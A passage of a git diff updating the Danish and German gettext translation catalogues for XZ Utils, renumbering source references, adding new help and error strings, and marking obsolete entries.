"Ukendt-9" -#: src/xz/list.c:81 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "Ukendt-11" -#: src/xz/list.c:82 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "Ukendt-12" -#: src/xz/list.c:83 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "Ukendt-13" -#: src/xz/list.c:84 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "Ukendt-14" -#: src/xz/list.c:85 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "Ukendt-15" -#: src/xz/list.c:153 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s: Filen er tom" -#: src/xz/list.c:158 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s: For lille til at være en gyldig .xz-fil" @@ -343,125 +553,45 @@ msgstr "%s: For lille til at være en gyldig .xz-fil" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:677 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr "" -#: src/xz/list.c:717 -#, c-format -msgid " Streams: %s\n" -msgstr " Strømme: %s\n" - -#: src/xz/list.c:719 -#, c-format -msgid " Blocks: %s\n" -msgstr " Blokke: %s\n" - -#: src/xz/list.c:721 -#, c-format -msgid " Compressed size: %s\n" -msgstr " Komprimeret str.: %s\n" - -#: src/xz/list.c:724 -#, c-format -msgid " Uncompressed size: %s\n" -msgstr " Ukomprimeret str.: %s\n" - -#: src/xz/list.c:727 -#, c-format -msgid " Ratio: %s\n" -msgstr " Pakkeforhold: %s\n" - -#: src/xz/list.c:729 -#, c-format -msgid " Check: %s\n" -msgstr " Kontrol: %s\n" - -#: src/xz/list.c:730 -#, c-format -msgid " Stream padding: %s\n" -msgstr " Strømfyld: %s\n" - -#. TRANSLATORS: The second line is column headings. All except -#. Check are right aligned; Check is left aligned. Test with -#. "xz -lv foo.xz". -#: src/xz/list.c:758 -msgid "" -" Streams:\n" -" Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" -msgstr "" -" Strømme:\n" -" Strøm Blokke KompForsk. DekompForsk. KompStr. DekompStr. Forh. Kontrol Fyld" - -#. TRANSLATORS: The second line is column headings. All -#. except Check are right aligned; Check is left aligned. -#: src/xz/list.c:813 -#, c-format -msgid "" -" Blocks:\n" -" Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" -msgstr "" -" Blokke:\n" -" Strøm Blok KompForsk. DekompForsk. Ialtstr. DekompStr. Forh. Kontrol" - -#. TRANSLATORS: These are additional column headings -#. for the most verbose listing mode. CheckVal -#. (Check value), Flags, and Filters are left aligned. -#. Header (Block Header Size), CompSize, and MemUsage -#. are right aligned. %*s is replaced with 0-120 -#. spaces to make the CheckVal column wide enough. -#. Test with "xz -lvv foo.xz". -#: src/xz/list.c:825 -#, c-format -msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" -msgstr " KontrolVær %*sTeksth Flag Kompstr. HukForb. Filtre" - -#: src/xz/list.c:903 src/xz/list.c:1078 -#, c-format -msgid " Memory needed: %s MiB\n" -msgstr " Hukommelse krævet: %s MiB\n" - -#: src/xz/list.c:905 src/xz/list.c:1080 -#, c-format -msgid " Sizes in headers: %s\n" -msgstr " Størrelser i teksthoveder: %s\n" - -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Ja" -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "Nej" -#: src/xz/list.c:907 src/xz/list.c:1082 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " Minimum for XZ Utils-version: %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1057 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s fil\n" msgstr[1] "%s filer\n" -#: src/xz/list.c:1070 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "I alt:" -#: src/xz/list.c:1071 -#, c-format -msgid " Number of files: %s\n" -msgstr " Antal filer: %s\n" - -#: src/xz/list.c:1146 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "" -#: src/xz/list.c:1152 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list understøtter ikke læsning fra standardind" @@ -477,14 +607,14 @@ msgstr "%s: Uventet afslutning på inddata under forsøg på læsning af filnavn #: src/xz/main.c:120 #, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "" -#: src/xz/main.c:174 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Komprimering og dekomprimering med --robot er endnu ikke understøttet." -#: src/xz/main.c:252 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "" @@ -492,68 +622,69 @@ msgstr "" #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:714 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:777 src/xz/message.c:827 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Intern fejl (fejl)" -#: src/xz/message.c:784 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Kan ikke etbalere signalhåndteringer" -#: src/xz/message.c:793 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Ingen integritetkontrol; verificerer ikke filintegritet" -#: src/xz/message.c:796 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "" -#: src/xz/message.c:803 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Begrænsning på brug af hukommelse er nået" -#: src/xz/message.c:806 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Filformatet blev ikke genkendt" -#: src/xz/message.c:809 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Tilvalg er ikke understøttede" -#: src/xz/message.c:812 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Komprimerede data er ødelagte" -#: src/xz/message.c:815 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Uventet afslutning på inddata" -#: src/xz/message.c:848 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB hukommelse er krævet. Begrænseren er deaktiveret." -#: src/xz/message.c:876 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB hukommelse er krævet. Begrænsningen er %s." -#: src/xz/message.c:1043 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Filterkæde: %s\n" -#: src/xz/message.c:1053 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Prøv »%s --help« for yderligere information." -#: src/xz/message.c:1079 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -561,17 +692,17 @@ msgid "" "\n" msgstr "" -#: src/xz/message.c:1086 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Obligatoriske argumenter til lange tilvalg er også obligatoriske for korte\n" "tilvalg.\n" -#: src/xz/message.c:1090 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Operationstilstand:\n" -#: src/xz/message.c:1093 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -579,7 +710,7 @@ msgid "" " -l, --list list information about .xz files" msgstr "" -#: src/xz/message.c:1099 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -587,80 +718,82 @@ msgstr "" "\n" "Operationsændrere:\n" -#: src/xz/message.c:1102 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" " -c, --stdout write to standard output and don't delete input files" msgstr "" -#: src/xz/message.c:1108 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" msgstr "" -#: src/xz/message.c:1111 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" " --files0[=FILE] like --files but use the null character as terminator" msgstr "" -#: src/xz/message.c:1120 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" msgstr "" -#: src/xz/message.c:1122 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" -#: src/xz/message.c:1127 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr "" -#: src/xz/message.c:1131 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" msgstr "" -#: src/xz/message.c:1135 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" msgstr "" -#: src/xz/message.c:1139 +#: src/xz/message.c:1005 msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" -#: src/xz/message.c:1144 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" " use this to set the block size for threaded compression" msgstr "" -#: src/xz/message.c:1148 +#: src/xz/message.c:1014 msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" -#: src/xz/message.c:1152 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -668,29 +801,51 @@ msgid "" " would block, all pending data is flushed out" msgstr "" -#: src/xz/message.c:1158 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" " --memlimit-decompress=LIMIT\n" +" --memlimit-mt-decompress=LIMIT\n" " -M, --memlimit=LIMIT\n" " set memory usage limit for compression, decompression,\n" -" or both; LIMIT is in bytes, % of RAM, or 0 for defaults" +" threaded decompression, or all of these; LIMIT is in\n" +" bytes, % of RAM, or 0 for defaults" msgstr "" -#: src/xz/message.c:1165 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" msgstr "" -#: src/xz/message.c:1171 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" msgstr "" -#: src/xz/message.c:1180 +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -706,20 +861,22 @@ msgid "" " depth=NUM maximum search depth; 0=automatic (default)" msgstr "" -#: src/xz/message.c:1195 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +" --arm[=OPTS] ARM BCJ filter\n" +" --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +" --arm64[=OPTS] ARM64 BCJ filter\n" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" -" --arm[=OPTS] ARM BCJ filter (little endian only)\n" -" --armthumb[=OPTS] ARM-Thumb BCJ filter (little endian only)\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" -#: src/xz/message.c:1207 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -727,7 +884,7 @@ msgid "" " from each other (1-256; 1)" msgstr "" -#: src/xz/message.c:1215 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -735,29 +892,29 @@ msgstr "" "\n" "Andre tilvalg:\n" -#: src/xz/message.c:1218 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" msgstr "" -#: src/xz/message.c:1223 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr "" -#: src/xz/message.c:1225 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot brug beskeder der kan fortolkes maskinelt (nyttigt\n" " for skripter)" -#: src/xz/message.c:1228 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" msgstr "" -#: src/xz/message.c:1231 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -766,7 +923,7 @@ msgstr "" " tilvalg)\n" " -H, --long-help vis den lange hjælpetekst og afslut" -#: src/xz/message.c:1235 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -775,11 +932,12 @@ msgstr "" " -H, --long-help vis den lange hjælpetekst (viser også de avancerede\n" " tilvalg)" -#: src/xz/message.c:1240 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version vis versionsnummer og afslut" -#: src/xz/message.c:1242 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -791,33 +949,48 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1248 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Rapporter fejl til <%s> (på engelsk eller finsk).\n" "Rapporter oversættelsesfejl til .\n" -#: src/xz/message.c:1250 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s hjemmeside: <%s>\n" -#: src/xz/message.c:1254 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "DETTE ER EN UDVIKLINGSVERSION - BRUG IKKE I PRODUKTION." -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Filterkæde eller filterindstillinger er ikke understøttet" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: Tilvalg skal være »navne=værdi«-par adskilt med kommaer" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s: Ugyldigt tilvalgsnavn" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s: Ugyldigt tilvalgsværdi" @@ -831,24 +1004,15 @@ msgstr "LZMA1/LZMA2-forhåndskonfiguration er ikke understøttet: %s" msgid "The sum of lc and lp must not exceed 4" msgstr "Summen af lc og lp må ikke være højere end 4" -#: src/xz/options.c:359 -#, c-format -msgid "The selected match finder requires at least nice=%" -msgstr "Den valgte matchfinder kræver mindst nice=%" - -#: src/xz/suffix.c:133 src/xz/suffix.c:258 -#, c-format -msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" -msgstr "%s: med --format=raw, --suffix=.SUF er krævet med mindre der skrives til standardud" - -#: src/xz/suffix.c:164 +#: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s: Filnavn har ukendt endelse, udelader" -#: src/xz/suffix.c:185 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#: src/xz/suffix.c:186 +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s: Filen har allrede endelsen »%s«, udelader." #: src/xz/suffix.c:393 @@ -856,37 +1020,53 @@ msgstr "%s: Filen har allrede endelsen »%s«, udelader." msgid "%s: Invalid filename suffix" msgstr "%s: Ugyldig filnavnendelse" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s: Værdi er ikke et positivt decimalheltal" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s: Ugyldig multiplikatorendelse" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "Gyldige endelser er »KiB« (2^10), »MiB« (2^20) og »GiB« (2^30)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "Værdien for tilvalget »%s« skal være i intervallet [%, %]" -#: src/xz/util.c:257 -msgid "Empty filename, skipping" -msgstr "Tomt filnavn, udelader" - -#: src/xz/util.c:271 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "Komprimerede data kan ikke læses fra en terminal" -#: src/xz/util.c:284 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "Komprimerede data kan ikke skrives til en terminal" +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s: For lille til at være en gyldig .xz-fil" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + #: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "Skrivning til standardud mislykkedes" @@ -894,3 +1074,54 @@ msgstr "Skrivning til standardud mislykkedes" #: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Ukendt fejl" + +#~ msgid "Sandbox is disabled due to incompatible command line arguments" +#~ msgstr "Sandkassen er deaktiveret på grund af inkompatible kommandolinjeargumenter" + +#~ msgid "Sandbox was successfully enabled" +#~ msgstr "Sandkassen blev aktiveret" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Kunne ikke aktivere sandkassen" + +#~ msgid "Memory usage limit for compression: " +#~ msgstr "Grænse for hukommelsesforbrug til komprimering: " + +#, c-format +#~ msgid " Streams: %s\n" +#~ msgstr " Strømme: %s\n" + +#, c-format +#~ msgid " Blocks: %s\n" +#~ msgstr " Blokke: %s\n" + +#, c-format +#~ msgid " Ratio: %s\n" +#~ msgstr " Pakkeforhold: %s\n" + +#, c-format +#~ msgid " Check: %s\n" +#~ msgstr " Kontrol: %s\n" + +#~ msgid "" +#~ " Streams:\n" +#~ " Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" +#~ msgstr "" +#~ " Strømme:\n" +#~ " Strøm Blokke KompForsk. DekompForsk. KompStr. DekompStr. Forh. Kontrol Fyld" + +#, c-format +#~ msgid "" +#~ " Blocks:\n" +#~ " Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" +#~ msgstr "" +#~ " Blokke:\n" +#~ " Strøm Blok KompForsk. DekompForsk. Ialtstr. DekompStr. Forh. Kontrol" + +#, c-format +#~ msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" +#~ msgstr " KontrolVær %*sTeksth Flag Kompstr. HukForb. Filtre" + +#, c-format +#~ msgid "The selected match finder requires at least nice=%" +#~ msgstr "Den valgte matchfinder kræver mindst nice=%" diff --git a/po/de.gmo b/po/de.gmo new file mode 100644 index 00000000..44dc7a6c Binary files /dev/null and b/po/de.gmo differ diff --git a/po/de.po b/po/de.po index 5181e69d..ec644233 100644 --- a/po/de.po +++ b/po/de.po @@ -9,7 +9,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-15 17:45+0100\n" "Last-Translator: Mario Blättermann \n" "Language-Team: German \n" @@ -58,8 +58,8 @@ msgstr "Nur eine Datei kann als Argument für »--files« oder »--files0« ange #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -183,16 +183,12 @@ msgstr "Die LZMA%c-Wörterbuchgröße für --filters%u wurde von %s MiB auf %s M msgid "Error changing to filter chain %u: %s" msgstr "Fehler beim Wechsel zur Filterkette %u: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Fehler beim Erzeugen der Pipeline: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "Sandbox konnte nicht aktiviert werden" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() ist fehlgeschlagen: %s" @@ -207,111 +203,111 @@ msgstr "%s: poll() ist fehlgeschlagen: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Datei scheint verschoben worden zu sein, daher wird sie nicht gelöscht" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Löschen nicht möglich: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Dateieigentümer kann nicht gesetzt werden: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Dateigruppe kann nicht gesetzt werden: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Zugriffsrechte können nicht gesetzt werden: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Dateistatus-Markierungen können nicht aus der Standardeingabe ermittelt werden: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Ist ein symbolischer Link, wird übersprungen" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Ist ein Verzeichnis, wird übersprungen" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Keine reguläre Datei, wird übersprungen" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Datei hat das setuid- oder setgid-Bit gesetzt, wird übersprungen" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Datei hat sticky-Bit gesetzt, wird übersprungen" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Eingabedatei hat mehr als einen harten Link, wird übersprungen" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Leerer Dateiname, wird übersprungen" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Fehler beim Wiederherstellen der Status-Markierungen für die Standardeingabe: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Status-Markierungen der Standardausgabe können nicht ermittelt werden: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Fehler beim Wiederherstellen der O_APPEND-Markierungen für die Standardausgabe: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Fehler beim Schließen der Datei: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Positionierungsfehler beim Versuch, eine Sparse-Datei (dünnbesetzte Datei) zu erzeugen: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Lesefehler: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Fehler beim Durchsuchen der Datei: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Unerwartetes Ende der Datei" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Schreibfehler: %s" @@ -572,26 +568,26 @@ msgstr "Versuchen Sie »lzmainfo« mit .lzma-Dateien." msgid "--list does not support reading from standard input" msgstr "--list unterstützt kein Lesen aus der Standardeingabe" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: Fehler beim Lesen der Dateinamen: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Unerwartetes Ende der Eingabe beim Lesen der Dateinamen" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Null-Zeichen beim Lesen der Dateinamen gefunden; meinten Sie »--files0« statt »--files«?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Kompression und Dekompression mit --robot wird noch nicht unterstützt." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Lesen der Daten aus der Standardeingabe ist nicht möglich, wenn die Dateinamen auch aus der Standardeingabe gelesen werden" @@ -599,68 +595,68 @@ msgstr "Lesen der Daten aus der 